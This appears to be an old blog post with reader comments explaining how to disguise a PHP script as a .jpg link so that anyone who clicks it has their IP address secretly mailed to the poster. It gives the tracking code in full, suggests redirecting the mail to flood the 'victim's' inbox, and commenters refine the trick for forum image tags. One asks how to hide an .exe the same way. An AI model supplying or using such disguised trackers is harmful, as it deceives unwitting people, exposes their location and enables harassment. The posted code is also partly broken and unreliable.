Hide PHP/HTML/JavaScript and more in images!

posted on January 7th, 2007


While trying to the IP from someone in my MSN list I found out the following (if you aren’t interested in getting someone’s IP, don’t stop reading, this’ll be the best prank ever):

Digg!

1. Get a webhost that supports PHP and make a new folder called /nameofyourimage.jpg/ Yes, it’ll work, you can make folders containing dots.

2. In this folder, create a file called index.php (using notepad > save as or using your favorite web editor).

3. Open the file in you editor and copy-paste the following code:

<?PHP
$remote_addr = getenv(’REMOTE_ADDR’);
$toaddress = “your@mail.com” // enter your e-mail address here!
$subject = “IP tracket” // This will be subject of the e-mail
$message = ” IP: $remote_addr ” // The message in the mail
$fromname = “profit42.com” // The name of the sender
$fromaddress = “bot@me.com” // The sender’s e-mail
$headers = “MIME-Version: 1.0\n”
$headers .= “Content-type: text/plain; charset=iso-8859-1\n”
$headers .= “X-Priority: 3\n”
$headers .= “X-MSMail-Priority: Normal\n”
$headers .= “X-Mailer: php\n”
$headers .= “From: \”".$fromname.”\” <”.$fromaddress.”>\n”
mail($toaddress, $subject, $message, $headers);
?>
<img src=”nameofyourimage.jpg”>

4. Save and upload the file. Also upload nameofyourimage.jpg to the folder. If you visit the page, you’ll see something like this: http://www.profit42.com/test.jpg, notice the / apppearing after .jpg in the adddress bar. This is telling you that it’s a folder….

5. Then give someone in your MSN list the link (webhost.com/nameofyourimage.jpg). If he clicks it his/her IP will be mailed to you! Imagine the possibilities…

6. If you can’t imagine any possibility, read on: Tell him or her the IP and say that it’s been mailed to you. Also ask if he/she can stop refreshing the page, every refresh is sending a mail to you.

7. 99% of the people will ignore this warning and will put a stone on their refresh button, so quickly after step 6, change the variable $toaddress to the e-mail of your victim. After ten minutes, tell your victim to check his or her mailbox…

That’s about everything. With this simple trick you can hide everything in an image. Replace the PHP code with something else, add JavaScript and/or HTML: use your imagination!

    Oh, that’s a neat trick. And I’m sure this can be used for more stuff as well ;)

    just use modrewrite for it.

    so u got some http://www.domain.com/superimg.jpg url(but in fact its some getip.php script)

    works quite nice if posted in a forum, as u know img-tags will always load.

    good idea u rule
    finally got it to work …

  11. ColdDayInHell said on April 11th, 2007 at 3:38 am :

    U know after i look at it
    the code actually returns a fake ip not the real ip
    we’r searching for because u used getenv’remot_addr’
    u should’ve used _server[’REMOTE_ADDR’]
    this do return the real ip

    U Know wut i mean >>//peace

    Oh fun.

    Wouldn’t it be better if the php returned an image like:
    header(”Content-type: image/jpeg”);
    //maybe setting expire headers etc.
    //image code etc.

    instead of an image in an image tag? this way it can be used in image tags itself as and the prank can be extended to forums, and other places that won’t like loading html.

    Stavy, I’ve tried that and it doesn’t seem to work.

    Stavy, Xana, you’re nearly there - return a “header(”Content-type: image/jpeg”);”, but you’ll need to put an image in there in the first place:

    $img=imagecreatefromjpeg(foo.jpg);
    imagejpeg($img);

    I have a little question,

    if I read it well, (can be a problem because I am from the Netherlands) it is possible to place any type of file in this image-map. but can someone explain me how I place for example an *.exe .. and I would also like if it shows me if someone clicked on the link.

    it would be great if someone could help me out.

    regards,

    Snoopsh
